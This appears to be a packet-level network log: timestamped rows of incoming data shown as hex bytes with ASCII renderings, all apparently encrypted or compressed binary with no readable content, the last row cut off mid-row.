2021-12-28 04:19:41 UTC	1197	IN	Data Raw: 7c f8 33 15 23 3e 7f 81 3e 1a 9f 77 8e a6 d3 30 d4 27 3a a0 1c 4c 94 da e3 09 67 48 d3 92 f5 bf 21 46 40 c3 b5 81 e6 c4 2a 0c be 84 a8 cc cc a9 6d a0 5b d8 9b ff 92 ea 67 4f 50 25 40 8e c8 7d be 73 61 2b 04 ee 98 fd 87 e2 be 46 87 51 cf eb ae 83 f7 18 3c 7a e0 04 5d f4 03 1b d8 09 1b 83 57 7b 33 30 08 35 49 a5 e4 4e 19 37 ac ee d8 3b 7c 47 20 63 fe e9 7b f9 d8 96 a4 b5 d8 19 b5 db 40 e3 94 93 13 86 eb b7 cb 07 7e 69 be 5f 25 02 2a 14 81 a3 ac 70 97 a0 c8 65 df ba 07 c2 0a 98 5a 4f 59 15 d5 1f 44 57 ad 34 57 c3 03 6c 45 cf 1b f5 a8 a6 39 2f 9c 1b 23 8c 23 4f 75 57 30 88 5a 8f 83 e3 54 be ba 74 b0 0b 60 49 78 3c 54 9f d2 09 56 db 78 df f7 88 3a 22 e0 e0 d8 28 d5 f2 bd 1c 3f e2 9f 07 10 b9 1c de 1c 65 04 ad 8b dd 6c c9 ed 84 80 ca df 5a 13 2a 55 64 3f 4c df Data Ascii: \|3#>>w0':LgH!F@m[gOP%@}sa+FQ<z]W{305IN7;\|G c{@~i_%peZOYDW4WlE9/##OuW0ZTt`Ix<TVx:"(?elZ*Ud?L
2021-12-28 04:19:41 UTC	1201	IN	Data Raw: f2 1b f3 4e a1 75 33 39 19 ee 96 14 15 0c 2a 66 ed 29 40 3b 4c 70 a7 f6 98 ac f0 5c 3a 5c ab 35 1c 8e 50 39 5a a3 e8 5e 41 15 df 49 c4 4f 4b 6f 40 84 26 96 c0 a3 f9 eb 9a 2a 4d f6 20 e5 34 4e 6d cf 7d 7c 82 d1 b1 0f ec ab 3b 4a 1d e7 59 6e 46 7c 6f 4d f9 c9 4d 1e b1 ba c1 3d dd 86 5a 1c b7 9a 5a 5a ce ca de a7 37 68 fd d0 cf d2 d6 f3 64 5f 97 37 4f e1 8d 4e 3b 2a 99 bb 5f 43 aa 0a 66 81 7f ea 9d 64 91 b5 8c 74 3b 2e 3a 56 3c 32 6d 3d a2 c7 d4 eb e0 6c bf 4e c2 ed 34 7d 6e ee 88 bd 66 ae d5 71 ad ee 67 61 29 c0 09 bb 4c 58 09 a9 72 5f a2 29 b9 3b 9a 6b b5 09 6d e1 e5 f7 72 25 db bc 5e 3c 3f 27 1d 67 d2 79 6f 7a d1 91 9e 4d 24 1e 8a 58 a4 80 a7 64 19 a6 8c d4 0e 6b 06 9f 1c ec 26 bb 44 50 1b 64 3b 65 da 96 18 9e a5 a8 78 f5 14 d2 91 60 4b 19 4a 18 3f fa 44 Data Ascii: Nu39f)@;Lp\:\5P9Z^AIOKo@&M 4Nm}\|;JYnF\|oMM=ZZZ7hd_7ON;*_Cfdt;.:V<2m=lN4}nfqga)LXr_);kmr%^<?'gyozM$Xdk&DPd;ex`KJ?D
2021-12-28 04:19:41 UTC	1205	IN	Data Raw: 23 64 51 54 9d 56 7d aa 9f 46 35 40 58 11 1b 57 40 4a 81 3c b2 fa e2 24 48 1d 9f 5a 1c 37 26 1d 50 bc ef a6 4c 09 98 87 52 cf 29 43 9a 0f bd 4e 90 a6 a5 94 d8 fe 43 cc cf 67 a6 d7 4b 5a b8 61 e1 c6 6e d9 1e e6 da 9d 92 8d 1b f7 f3 9a 1a 89 e7 2f fa 1c da c0 b4 10 93 8e 10 91 ee df 6b a5 22 8f 15 e3 c2 b5 97 4d 0e 07 03 40 c6 64 3d 4f 4e 6d 28 71 27 c5 06 cb f9 59 18 f3 c6 a6 52 3b ee 4b 07 ae d4 95 6b 23 1f 29 45 7b 17 ad 52 2c 02 5d 3c 7d 31 75 9e d4 bf e7 1c 89 20 2b 77 e3 c6 58 7c 8f 39 30 af 29 98 91 c2 34 06 0e 43 26 e5 3f 35 d6 8a 9a a3 1d 08 01 96 8e b7 7b 35 3b 13 c8 7d c0 78 62 93 99 94 cc 8d 42 b2 5e fb 0f 2b 69 5c 54 f6 03 a2 fc a3 51 ab cc 7e 87 8e 2e aa fe 22 be 3d a3 11 be 29 72 bc cd c6 66 c2 fa d3 70 4b e7 3a 01 b6 1a 76 68 6f 1c c0 7e 29 Data Ascii: #dQTV}F5@XW@J<$HZ7&PLR)CNCgKZan/k"M@d=ONm(q'YR;Kk#)E{R,]<}1u +wX\|90)4C&?5{5;}xbB^+i\TQ~."=)rfpK:vho~)
2021-12-28 04:19:41 UTC	1209	IN	Data Raw: 8d ac fa 2e ae d4 50 29 e9 87 57 c9 26 d2 ad 9a 5d d1 38 40 73 34 c6 ac d0 f8 77 bc 06 e1 10 87 9d 99 da 09 4a fb 2e 67 76 ef cb 74 e4 b5 37 62 4b c7 9c 10 86 56 42 fc bb 40 2d 30 96 e2 17 35 0c 8b 56 95 49 80 c6 d7 16 50 d9 e5 64 bd b5 f8 2a f6 4a 7f 7a 98 37 51 f7 87 70 52 0f f1 07 4a 5a 05 98 39 7a 5a 9e 1d 70 8b d7 a0 21 79 a3 fe 22 01 68 21 1a e5 25 de 50 07 d2 8b ff 6c a6 50 50 7b 00 39 8c 5d a2 61 02 15 31 c4 f0 ac 19 b3 a4 e4 2d cb 99 4b 38 12 01 09 0e af 30 de 0f d6 cb 38 b0 5e 43 3d 55 2c 6c 2d 04 13 bf aa 5b d4 93 44 80 ea 43 4a 95 22 e0 eb ff 23 d4 71 d3 b7 4f ff ba d4 dc be 05 59 1d 1b 6a 6a a9 cc cd e5 5b 5b 39 68 4b 24 9d 88 42 54 50 bd 49 23 b6 08 ba f8 8f 95 3e 53 49 fc d2 a4 01 4f f0 32 5c 53 83 ba cb a3 79 55 c1 ec 8a 66 b6 6c a0 7d 8a Data Ascii: .P)W&]8@s4wJ.gvt7bKVB@-05VIPd*Jz7QpRJZ9zZp!y"h!%PlPP{9]a1-K808^C=U,l-[DCJ"#qOYjj[[9hK$BTPI#>SIO2\SyUfl}
2021-12-28 04:19:41 UTC	1212	IN	Data Raw: 88 48 c9 43 4e c3 42 ab 6d 12 47 77 e3 d9 74 21 da 86 90 6b 5e 49 74 d6 d0 65 35 ff 88 ee 48 7a c4 87 e9 cc 5f e4 be 05 d3 08 92 b6 88 42 07 d3 67 b3 a2 cc 88 1e fa 3f c6 73 a4 5b 96 45 a9 cb 30 61 9b 45 35 28 d9 72 75 5f 7d f2 fa f2 01 63 36 8d 88 e9 b4 42 fb 33 80 29 15 e5 f4 df 8b b5 ca b8 f1 8a eb 35 d1 62 63 8b e9 d2 5a 68 31 cc de de 8f 42 c6 50 88 2d 4d 21 1d 7a 5d d4 42 be 9a e6 df 50 6f f0 03 88 52 f6 2a bf 66 27 c9 59 76 af 5b e7 29 71 e2 fe a7 c1 90 fd 8d 51 1f 6b c0 c7 4d 61 ae e1 0d 0b 90 03 c4 ed 97 c4 5f 1b f0 46 2a 66 4b 1f 30 8a 15 4f 82 15 ba e5 1b f8 3b df 9b 8a 07 e6 74 3d 15 94 6e 6a 48 52 8e 74 09 a1 be 97 54 92 c7 96 0a 21 13 63 ad 56 dd f8 10 a7 8f a6 87 3e 91 4e b9 7a 12 00 c0 db 24 ac 35 1d 5f ae 7b af c6 1d 9a 75 11 f0 50 fd 2c Data Ascii: HCNBmGwt!k^Ite5Hz_Bg?s[E0aE5(ru_}c6B3)5bcZh1BP-M!z]BPoRf'Yv[)qQkMa_FfK0O;t=njHRtT!cV>Nz$5_{uP,
2021-12-28 04:19:41 UTC	1217	IN	Data Raw: 18 2e 8a f1 3e cd b9 35 7c 90 29 fe 83 db 8d b6 c1 85 a4 a0 56 36 d4 f6 97 11 dc ee 22 45 74 ff a7 b1 9d 44 cd a2 0f 53 c9 88 79 d2 40 83 70 e8 84 5b 28 42 d3 1e f3 d3 fa a6 9a 0b e9 08 7f 9e 8d 36 f9 91 e3 20 ea 7a 80 4e 19 f2 0d c8 56 91 6b 56 fe b1 40 84 d0 e0 d9 45 a3 d3 1f d1 60 19 4b 04 42 f8 99 70 95 9d fa ae 84 22 5c aa 9b f6 11 b7 06 f7 fd 57 da ae 84 ab b7 6d 4c 2f af bc b2 49 cd 73 15 99 f4 0e f3 19 8c b1 09 1e ec 91 0d 7f ef bc f5 b1 6f 8b 85 aa c2 ba e6 38 59 c5 d6 9f 60 41 10 86 5e 83 41 4d 05 9a 45 ba f8 50 e7 7b 36 bd e0 6f 14 19 ed 86 c6 30 c1 07 7d 45 f7 be 7e 80 7b 50 17 dd 1f 08 23 16 09 fb a4 d8 2b 6a 7c 8d 7f 53 7b 3e 04 95 d0 98 73 4e cc 74 f7 cc 31 4a 0e 8b c8 aa f9 9d 36 2e 7a 74 99 83 6b 29 3d 55 f0 5c 26 13 3e 02 af 32 8b 49 94 Data Ascii: .>5\|)V6"EtDSy@p[(B6 zNVkV@E`KBp"\WmL/Iso8Y`A^AMEP{6o0}E~{P#+j\|S{>sNt1J6.ztk)=U\&>2I
2021-12-28 04:19:41 UTC	1221	IN	Data Raw: d3 33 71 8c f0 51 eb 6b 95 01 17 1d 44 93 ff e7 95 f0 76 ac cc b8 f5 51 63 b9 48 a2 d6 6c 7d 21 a0 cb 3a 4e fa d7 bf 50 f2 17 d0 18 11 bb 46 ae ca e0 c8 ea 30 41 ce 64 68 91 7d 0d 5f 95 87 0a 6e 81 6a 3b b0 ef 1e b8 0c 89 f0 7d ac 45 35 55 05 78 8e 12 a3 fd e8 73 f3 37 eb 8b 15 4a 7d a6 1e 88 b9 ea 1d 60 06 85 7f 2d 24 a8 9b 81 d3 00 56 8d 8c 3b 34 65 d2 47 87 09 04 f5 f0 e8 0c 36 ef d8 09 a9 27 ed c8 7b d8 12 ac 10 30 b1 00 78 c0 0d 73 c5 a0 77 62 60 5e 93 74 65 77 74 82 67 ab 47 83 f8 5b e8 a2 ab d0 de 90 fb 03 32 0d 15 16 c8 58 ce 19 2a 87 e0 24 ac 2f 9d ae cb 81 96 d6 7e bd a9 3f ee 50 65 70 cf 91 7c 4b ba c2 7b 41 02 9b dc 47 61 61 29 12 7e 0f 9f e2 e9 76 fa 09 74 c9 34 6d 46 1a fc f9 35 c0 9f fa dd 10 34 e0 0a 5d 1f 28 63 2c 3d 4b e5 33 37 c1 18 96 Data Ascii: 3qQkDvQcHl}!:NPF0Adh}_nj;}E5Uxs7J}`-$V;4eG6'{0xswb`^tewtgG[2X*$/~?Pep\|K{AGaa)~vt4mF54](c,=K37
2021-12-28 04:19:41 UTC	1225	IN	Data Raw: c6 6a 4f b6 63 26 ed 7b d1 75 fc 02 70 56 c8 84 8d 0f 9d 8b 05 d7 72 dd 07 4e 97 d1 9a 45 53 46 5e 29 d1 01 19 31 65 6f a8 98 8a c2 04 26 e0 a2 78 64 96 ee 73 a1 5d 26 c6 cd b2 0c 17 78 98 f9 00 1c 53 0e af 80 cc 15 00 f0 68 dc 8b 2d 4f 00 3e 23 c6 44 30 8c 8d cd a3 c3 a1 b0 11 36 74 b2 55 80 b1 41 2f ce 94 9c 9d 6d b1 c9 17 be 14 40 2c 83 98 c9 cf 81 a4 60 42 ce 29 42 77 d6 fe b5 d0 6a 23 bb eb 0d 07 a8 5c 7e 53 8f 33 50 c2 16 3d 34 37 6e 0b af 2a 01 c3 9f 11 1e 23 a5 b4 18 8b 23 72 15 29 e2 62 32 58 0b 2c 60 f1 85 3a 62 f5 8f 97 81 76 59 54 74 f3 b3 76 8f 4d 02 a9 d3 1a e1 32 24 4a 0e 75 3f 97 0a 9a 53 3a 35 54 00 2d cf a8 98 ef ba ed ac 63 8f 94 f5 e0 d7 b4 42 dd 36 20 ea 35 74 42 0e 1a 17 fc a4 ca 29 a6 2f 67 e4 90 f1 51 5a 5b d6 48 8d 1c 8b f0 d4 f0 Data Ascii: jOc&{upVrNESF^)1eo&xds]&xSh-O>#D06tUA/m@,`B)Bwj#\~S3P=47n*##r)b2X,`:bvYTtvM2$Ju?S:5T-cB6 5tB)/gQZ[H
2021-12-28 04:19:41 UTC	1229	IN	Data Raw: e1 32 1e e4 ee cf d7 be 5e ce f9 00 ae 69 07 d0 7b d5 68 54 1d 64 05 95 99 c5 79 ff 75 e9 35 9e 70 ff 1c 39 90 2b 0c fa 20 90 24 0f 3f 4f 79 63 bd 5b b7 66 b6 f8 7d da 7a 0c 54 95 75 e1 23 c4 00 7c e0 44 78 ce 1b 2c 16 76 5e 75 50 a5 70 b4 c4 2f 2b 83 65 76 fd 68 d4 59 d4 75 86 36 61 b3 23 76 b1 7e 1d f1 31 07 94 d7 1a 70 9a a5 96 88 fe 74 6b 3f 0e d8 ba 9a a0 9c 67 98 ee 23 5a 90 a2 6b 31 7a 12 85 4b 0e 58 75 cf 64 f0 ea 1b 63 f6 52 96 52 2f ce a9 2b a0 8b d9 33 3b 6c 73 d0 b6 9a 8f fb 68 8e 49 07 51 be 91 b3 b9 b8 8e a8 3e 6a e6 c8 fb 2a 0e c6 aa 19 5c 4b 05 34 ad bc 7b f7 8f 28 c8 3c 46 52 73 1f af 19 cc 8f 59 ff f0 49 1e 18 80 be a0 83 77 b4 62 df 8f 1c a7 2e c2 f2 4b aa 6c 2e ce 4d b7 03 de 03 6b ba b7 70 90 3d a8 0f a0 20 16 ba 7d 4e a5 2b d5 d6 e3 Data Ascii: 2^i{hTdyu5p9+ $?Oyc[f}zTu#\|Dx,v^uPp/+evhYu6a#v~1ptk?g#Zk1zKXudcRR/+3;lshIQ>j*\K4{(<FRsYIwb.Kl.Mkp= }N+
2021-12-28 04:19:41 UTC	1233	IN	Data Raw: 8f df 43 f6 9a f7 f9 12 3c 44 30 7e ff 01 65 d9 9e 5b 07 39 db 71 db 70 52 3d bc 7b 76 11 90 28 95 d1 d7 b8 60 68 b5 83 ac e0 9b 90 0c e0 b4 48 a3 93 45 8e 5b 65 05 1a 78 b8 7d dc d0 8c 27 f4 54 04 ce be ca 08 e9 91 5b 04 ad 6d 32 f9 02 4a 4f 93 f9 a5 88 bd fc c0 5a df 02 fa 3c 19 18 b1 57 60 09 00 42 06 c8 dd 41 30 52 2e d7 e3 fe 76 76 f7 0c 51 c0 ea c8 d3 d0 59 a9 0a 73 5d df 66 93 4c c3 26 83 ea 1a 75 a0 d2 e1 83 19 18 1c 2a 85 df 49 5e a9 7d f8 42 93 31 b6 07 19 60 d5 7e 1e 9a e6 f0 39 d2 2b a6 cb fd b7 50 79 60 21 e1 af 78 1d 4f 79 f1 af 8b 0c 5e 73 cf 02 39 44 50 0f 96 6f 6d 3b 7f eb dc a1 40 7e 23 7e 7d bd db 48 7a af 7f 41 07 64 16 5d 28 46 0d d7 5b c1 71 78 51 83 e7 93 b2 90 36 aa d1 d5 1a 6e 50 0a bf d2 34 38 14 15 ae 97 87 e6 49 ad a8 9d 68 c5 Data Ascii: C<D0~e[9qpR={v(`hHE[ex}'T[m2JOZ<W`BA0R.vvQYs]fL&u*I^}B1`~9+Py`!xOy^s9DPom;@~#~}HzAd](F[qxQ6nP48Ih
2021-12-28 04:19:41 UTC	1237	IN	Data Raw: 33 3c 5c 0d c6 68 31 3c 81 9e d5 ef 2d a0 6e 17 5c 99 79 df 4d 65 10 f5 df 50 ed 76 a9 be 41 9b f5 a1 dd 9a 4a 7b ff df 01 6c c4 a6 90 fc 7c 9c 25 86 bf 68 c4 8d 76 2b 09 2a 02 62 99 ed 9b dd e4 d9 29 c8 fc b2 ed 70 30 df 7b 83 ba 21 aa 94 37 16 9d 6d 6c 81 1f 34 5a 87 90 8d df 0f b6 e4 87 fd 0d c8 e2 9a d3 b2 19 fa 6c 89 78 e7 dd 9d f8 44 7a 15 25 12 8f a4 1e 81 5f 85 f5 4c a3 1c 90 cd 48 71 35 e3 fd 7e 94 d8 05 46 78 5a 50 60 26 e6 5f 38 db fe 04 21 d8 45 fb 97 2f 06 55 52 de 28 7d bf 0d 37 e1 47 33 22 30 05 63 90 06 4c 2a b2 69 0e 9e 4e 8a 4c f5 35 25 a8 d3 4f 05 b5 22 eb f9 65 39 45 70 fa 8e 26 16 ab 3e be 8a ca 23 54 50 77 d2 0d 46 ee 8f 21 48 79 ba 53 8e 2a 5f 89 bb f3 c9 8f bb d4 8c ee d5 24 5c 5e 52 e4 07 49 d5 a2 d5 eb ab 62 65 86 30 5e 6b 79 34 Data Ascii: 3<\h1<-n\yMePvAJ{l\|%hv+b)p0{!7ml4ZlxDz%_LHq5~FxZP`&_8!E/UR(}7G3"0cLiNL5%O"e9Ep&>#TPwF!HyS*_$\^RIbe0^ky4
2021-12-28 04:19:41 UTC	1241	IN	Data Raw: 12 7c d0 6d b5 d3 d0 3f b8 a2 f5 b7 34 14 1e ba 5b 80 49 00 aa 3d 09 c1 cd 04 32 04 6e c2 68 c9 7f 33 3b f4 e0 9e 07 25 87 19 58 5b 41 b6 cf 8b 56 0e 13 fe c5 e6 7c 91 a0 8a 65 7d 71 ea 65 37 75 09 67 db 3f 4e 8f 36 79 72 49 74 79 7d 37 e0 f9 a5 e2 c6 4d fc 6d 40 ca 6d d8 9c 8b a5 6a 5d c1 d1 f4 b9 d8 8b 97 43 16 f4 a5 53 e7 04 84 4a 5f 46 4c ae e3 c1 b0 65 2e 04 7f b0 85 31 a4 d0 dc 00 75 85 ad f3 43 f6 17 65 ec 36 e7 fc f7 e1 20 8b 6c 67 1b 7d 0a ef 97 75 01 8c 10 95 c8 bb aa 4e 24 d7 63 21 7c a0 f3 b6 d5 3b 03 c1 3c ac d7 86 e0 e2 55 ac da ad c6 58 39 34 9d 55 be cc 48 30 b9 02 bf 61 72 5c a5 69 92 25 ea 74 8f 81 41 f1 65 fb be 5f 87 71 16 7e 5f 3a e3 21 dd ef bc b6 60 49 70 56 d0 6e 6b d7 6e b8 c3 83 a8 7f c4 86 ee 55 0e 63 85 bd ee 48 2b b5 4d d6 c6 Data Ascii: \|m?4[I=2nh3;%X[AV\|e}qe7ug?N6yrIty}7Mm@mj]CSJ_FLe.1uCe6 lg}uN$c!\|;<UX94UH0ar\i%tAe_q~_:!`IpVnknUcH+M
2021-12-28 04:19:41 UTC	1244	IN	Data Raw: 04 c3 e3 db 01 f0 2d 93 f9 cc 18 d6 2b b0 46 33 10 7e 19 8f 1b c9 e1 bc 86 07 2f 30 fe d7 37 b6 d2 af 61 58 a0 f4 8d 71 b4 5f cb 1b d4 4f 45 0f 25 9d 63 ef 51 1a 1d 9d 6e d7 f2 af 01 ec 24 ea c8 6c 51 a5 e8 ee 26 ae c4 03 ef 0e 4e 01 8b 43 30 1c 2f 73 f2 88 de b4 b9 45 1a 55 53 aa 93 2a cd d9 ae 86 88 ce cf fe d7 b7 98 1a 9f a2 85 ef 3d 87 5e 1d 25 5c 24 87 df 1a 10 34 6b 98 fd 71 f5 98 c7 96 38 73 e3 8c 8c 62 b4 9c 9f 1e 22 c9 32 06 bf dc 18 bb 03 b9 2f f1 f3 e8 50 53 8b 20 9e c0 bf 47 62 41 6e 91 e2 25 36 f8 49 28 e6 e2 63 55 3c e6 8d ed e1 66 93 27 24 16 90 4d 6d 0f db d3 d1 0a 5c c0 da 37 48 37 c2 f7 9c a4 32 65 74 8c 48 85 93 4b 80 5b dd 9a 40 31 8f 05 c7 6a 51 3e 24 04 5a 92 b8 a8 41 da ef d1 ca a0 84 25 bc 52 f8 a2 c4 70 9b 13 12 11 66 31 f4 03 57 Data Ascii: -+F3~/07aXq_OE%cQn$lQ&NC0/sEUS*=^%\$4kq8sb"2/PS GbAn%6I(cU<f'$Mm\7H72etHK[@1jQ>$ZA%Rpf1W
2021-12-28 04:19:41 UTC	1249	IN	Data Raw: 5f cb d5 4c 58 f5 cb 3e de 3f 7b 03 e7 71 17 9d b9 69 20 48 7d 2f 20 1d 3c 24 cf f4 3d 8c 43 25 35 24 63 b2 a0 71 fd 1b 95 e8 66 e5 80 b4 6f fe cc 5f 71 a6 39 6b cc be 8e 99 4e 19 d9 20 b1 c5 bb 45 10 29 d0 a2 1e 0c f2 0c 3e ff 12 73 f6 94 ff d5 fa 12 fa 7c 53 af aa 77 f1 06 e5 c6 52 0f 50 ff b4 7f 38 6a 68 7d cb f7 e2 60 66 e9 eb f5 51 c5 46 fa 39 a6 7f 67 b1 5d 30 2d ba de 77 d0 df 61 91 c7 41 de 9d 70 2e 00 51 ab ef 54 39 2f 3b ea 1c 75 84 55 42 03 f0 9b a9 e6 e9 d6 72 8b 14 2e aa 0f 7e 26 c3 87 cb 79 91 26 fb 58 bf a6 9c 2c 83 65 b0 8c ed b7 19 99 ff 94 8f 93 74 86 6b 59 32 ed 6c 99 46 27 6f ee c6 ba 39 61 27 1d d6 ac 0d c3 75 36 ad 7d ca 36 be a2 5a 66 1e e4 70 3a 7f a2 41 14 fa 00 4f 45 34 16 7a 0a 7c 33 8f 53 bd e0 be 65 1d 56 52 d1 1e 54 b2 71 51 Data Ascii: _LX>?{qi H}/ <$=C%5$cqfo_q9kN E)>s\|SwRP8jh}`fQF9g]0-waAp.QT9/;uUBr.~&y&X,etkY2lF'o9a'u6}6Zfp:AOE4z\|3SeVRTqQ
2021-12-28 04:19:41 UTC	1253	IN	Data Raw: 8d 63 58 9c fc d7 ea 1d 81 f2 dd 73 7d ce 1b 89 b1 fe 93 3c 8e 9c b1 59 a9 16 e9 ab 54 a5 8a 0c f8 41 f5 23 ff 2f 79 12 63 7a 70 ef bb e0 3e d8 e9 b7 5c 6f d2 6d d8 b3 2e ff 51 33 61 bf 1f 9a c0 35 b9 8d b5 12 c3 3a 0e b5 9f e2 f4 f8 f6 7f 84 19 82 06 9f de 0e b4 1d e7 55 ca 5e b5 4d 73 14 60 2c 67 42 77 d6 6c ff cb 42 1e a2 ef 46 1e 92 e6 06 15 5e 47 63 bc 5a 73 f3 2b b7 12 20 5a 30 4a 60 44 69 43 78 72 81 83 a1 af bf f3 fd 6a 53 14 e4 90 74 2c 0e 96 7e 35 af ca 45 6d fe 35 46 5e c7 0f 40 7e e4 47 34 94 2e 27 42 c2 da 1c 4a f4 86 c1 73 4f 21 43 97 d4 48 9e e6 e0 0a 8b ce ae 81 dc a2 a0 6d fa a4 e4 e6 ea c9 dd 4d df 4a 18 02 ed 45 31 bb a1 d9 4d 81 a8 f8 8b 8d c4 1e 5b d5 f1 8f 0e 8c c1 cf 97 6a 86 f9 7c 3e 76 c5 e0 31 da 28 66 c3 85 35 78 22 b1 44 41 2f Data Ascii: cXs}<YTA#/yczp>\om.Q3a5:U^Ms`,gBwlBF^GcZs+ Z0J`DiCxrjSt,~5Em5F^@~G4.'BJsO!CHmMJE1M[j\|>v1(f5x"DA/
2021-12-28 04:19:41 UTC	1257	IN	Data Raw: d5 9c e5 41 d9 22 3d c0 b8 4e de 1e be 00 d2 24 a5 e1 41 5e 24 b8 29 db 5c 09 48 7f 6b 10 01 0b 69 88 4e 04 63 29 f6 dd 8e a9 60 38 e1 b7 e0 fd 15 42 27 ad 0e fd 54 df 52 7e 07 c0 aa 6f 7b 6a 20 49 d9 f1 40 77 8e f7 73 39 2f 4c 03 66 c9 12 58 69 52 fb 79 b5 6b 35 9f ea c7 36 bf 8e 04 9b 8f 24 2d f2 ac ae 0e 24 ba 3e fd 95 a9 71 06 1d 54 e6 72 06 88 cc 2c d2 0f 7c 00 3e 27 5d 10 17 9f c7 61 a9 c5 c5 9c 6d 25 47 3e b9 6c 8c ad 50 f3 e1 4a 95 65 22 42 3c 4c 3e 6b a4 09 e9 e7 9a 79 91 5f ae ab ef 3f fd 9f de f9 67 01 99 a5 cc b6 56 d0 85 39 66 c2 f8 7e 93 97 9e 5b 36 af 9d 8a b9 34 05 0c 69 26 bf d7 5d ba 6b d9 c0 b1 dc e3 f7 bd f2 ee 80 a0 07 fb 35 87 d3 64 9b c8 e1 55 2d 56 be 66 e3 ea f4 eb 07 c7 98 da bf 0e bc ed 5c 8e 88 db 60 d4 b5 aa fe 4b 3b fc e8 e2 Data Ascii: A"=N$A^$)\HkiNc)`8B'TR~o{j I@ws9/LfXiRyk56$-$>qTr,\|>']am%G>lPJe"B<L>ky_?gV9f~[64i&]k5dU-Vf\`K;
2021-12-28 04:19:41 UTC	1261	IN	Data Raw: 4f ba 7c 2d ae dd 50 78 db 58 08 ba fb f9 c1 de 28 6c 37 62 d6 38 e9 5c 34 de 94 bb 77 ea e3 05 32 eb 11 39 ee 5d 60 f7 7f b6 11 d9 bb ba 00 1c ba 90 e9 7b 70 07 bc 53 e9 d9 1f c9 52 ef 1e 04 6e d1 0d 8d cd bf 49 e3 a0 dc 6f 4f 20 61 58 78 07 b1 38 02 5a 55 48 d1 7e 53 23 ae 19 d0 08 b8 92 cd 3b 13 32 47 b2 a7 97 1b 68 63 f0 e7 f9 66 11 27 d4 31 19 81 f6 06 54 65 21 f3 36 bd 65 4c 0a 09 c7 15 f3 c6 71 e8 ee f2 7c 61 cf 5c ff 7f f1 b0 c5 c9 73 32 20 95 41 0b 31 9f bd 7c 88 40 66 d7 6d 44 34 e0 82 0d 8f 9e a3 92 cf ef 5a 25 a9 7e 14 56 57 72 60 55 f7 19 fa f6 8a a9 bb 76 64 d8 7a 12 00 1c ce ee 4b 5b 44 c6 dc 15 bf 55 23 46 d4 d5 8f 26 aa 81 4b 3e 4d 9d 91 d7 f5 33 8b d2 f3 c0 8e 8e 20 4d ba 2a 56 d4 7d c5 3b 23 46 95 fd 4e 2a ca db 35 66 b5 04 ac 18 f7 39 Data Ascii: O\|-PxX(l7b8\4w29]`{pSRnIoO aXx8ZUH~S#;2Ghcf'1Te!6eLq\|a\s2 A1\|@fmD4Z%~VWr`UvdzK[DU#F&K>M3 MV};#FN5f9
2021-12-28 04:19:41 UTC	1265	IN	Data Raw: 3a 47 cd 0c 14 96 d0 3a 8a 02 81 27 fd 98 a1 e5 34 36 d1 6a e2 a3 b4 3f ae a7 49 0e 0a 48 54 e7 30 57 e1 d2 f1 55 dd 82 cc 08 c6 df 1d 27 bc 9b 11 9c f8 1f ee 27 35 3e 43 09 ec 31 56 90 eb de f6 9f c5 d2 6e d6 b8 28 21 22 94 c2 4c 53 d8 67 8e e1 67 1b b6 8e 9d 7f 6e e3 60 96 56 60 f9 a3 e6 ea 30 96 67 2a fb 84 c4 fa 34 5b 4f 89 2e ff 1d 3f 77 0d aa 90 e1 6c 3f b9 0d 52 43 82 86 bc 30 fb c4 9b d9 3c 12 6a 3a 59 c6 0a a9 4e d4 6b 1e 14 2c 35 03 9a 61 c0 c9 60 4a 13 3f 3e 92 29 44 5c fd 68 9f c1 65 be 49 05 2a be 4b 8a 08 8a d3 d4 f9 66 52 20 36 db d7 e7 7c 50 5b 41 e3 db df 51 e8 a1 c5 7f d1 4e 6c 53 4f 20 fc 4c b6 08 c4 bb e2 c2 bd eb 47 a9 f5 80 cd ca 11 fd d4 c2 cc 2a ae 71 36 17 00 42 ce bc 8d 88 0a b5 fc 89 4f 66 8c fe f9 b6 76 4a 4a c8 b9 51 16 dd be Data Ascii: :G:'46j?IHT0WU''5>C1Vn(!"LSggn`V`0g4[O.?wl?RC0<j:YNk,5a`J?>)D\heIKfR 6\|P[AQNlSO LG*q6BOfvJJQ
2021-12-28 04:19:41 UTC	1281	IN	Data Raw: 1c 24 c1 5e a2 4c ed 92 d1 18 ce 18 23 13 de 28 19 58 39 76 6b e6 8d d9 f5 cd 9e 51 8f 89 d1 ea 8e 60 a5 d7 3b e6 e7 d5 15 92 f8 49 ba c1 a8 65 71 da e2 e8 7e c7 77 e6 6f a7 b6 d9 74 20 06 61 18 5e 10 8c b7 9f 7c 2d 0d 94 d7 16 59 cd 98 aa 67 3a 73 f5 78 f3 a3 e2 11 d5 a3 14 0c 92 bb 5c ee 37 ea 0c 81 75 81 22 5e 8a 06 6d 41 5c 2d 7f 4e bf b9 b5 cf 95 cd 96 31 99 cd 74 2f 6f 0c a9 5b 0f d0 5b b0 58 0c 18 d8 25 e1 ba e2 56 44 13 79 15 9f f4 cf a4 7e cd 9d 6f 32 6a 45 6d 54 51 ce ac e8 e6 1e 83 c7 b2 7e cc 07 c0 05 b5 76 30 0e 05 10 74 41 68 33 d7 f5 30 f9 48 72 52 10 44 95 21 ca 37 84 07 a7 08 5f 04 e2 b3 48 f2 ac 2a 5c a5 58 25 2e 71 e7 06 38 dc 7f 30 28 31 18 77 53 63 60 9a 6f af 41 42 32 8b 33 97 db 25 11 ef 99 c8 f5 d8 ec 5d 5a 0d 0c a6 c1 bd cb 38 43 Data Ascii: $^L#(X9vkQ`;Ieq~wot a^\|-Yg:sx\7u"^mA\-N1t/o[[X%VDy~o2jEmTQ~v0tAh30HrRD!7_H*\X%.q80(1wSc`oAB23%]Z8C
2021-12-28 04:19:41 UTC	1297	IN	Data Raw: 47 56 7e 61 39 8d 64 af fe f9 78 4a a1 aa cf 64 f9 fc 4d d5 3e 9e a3 74 08 7d 0b 87 ba 74 04 77 af 94 f9 37 f1 e6 fb c0 eb af 25 ca 61 2b 91 92 0f 44 db 68 f7 f4 e1 b1 45 da b3 b4 5e 9e 35 c3 46 ac 3e 31 d2 99 0e c8 f7 ef fe 70 66 ee 24 33 ee 92 f6 cc 7d 19 6f a1 e8 b5 c6 da 99 54 2e de cc 24 ba fa a7 e9 93 56 6b 49 4a 8e d8 a8 a1 59 ce 1d ab b7 b7 4e ae 40 aa 6e 80 c0 82 1b 09 48 86 9f 39 9b 51 b5 62 3c f0 e4 ef 51 51 d5 51 2b 37 0a 2e 41 06 5b 51 82 19 40 e9 13 ce a1 a0 a8 99 b6 84 a6 a0 99 11 a0 d6 84 32 70 28 de 46 75 ec 0f e5 df aa 60 96 ed 62 45 07 27 63 1c e9 71 aa 8b b3 05 ed 2f c5 ab d7 27 53 12 ab e9 90 5e 3f c8 e2 6e dc bc db 